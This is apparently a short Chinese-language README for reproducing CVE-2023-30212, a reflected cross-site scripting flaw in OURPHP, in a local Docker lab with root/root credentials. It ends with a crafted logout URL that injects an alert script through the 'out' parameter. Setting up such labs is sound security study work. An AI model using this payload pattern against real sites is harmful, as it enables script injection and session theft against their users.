先决条件
下载 docker.io
sudo apt install -y docker.io
使用以下命令从我的仓库下载所有文件。
git clone https://github.com/AAsh035/CVE-2023-30212.git
现在运行以下命令创建 Docker 镜像:
sudo docker build -t vuln .
接下来将 Docker 镜像转换为容器。容器需要在 80 端口运行。命令如下:
sudo docker run -d -p 80:80 vuln
使用以下命令检查容器是否运行:
sudo docker ps
在浏览器中输入 127.0.0.1,将会加载 OURPHP 页面。
需要配置 ourphp,设置如下:
用户名:root
密码:root
数据库名称:vuln
现在需要配置管理员用户名和密码。设置如下:
用户名:root
密码:root
复制以下链接并在浏览器中粘贴:
http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert("bug")</script>
https://github.com/AAsh035/CVE-2023-30212/assets/136836668/218c8eca-f02b-41b2-931b-ba112da6c7e0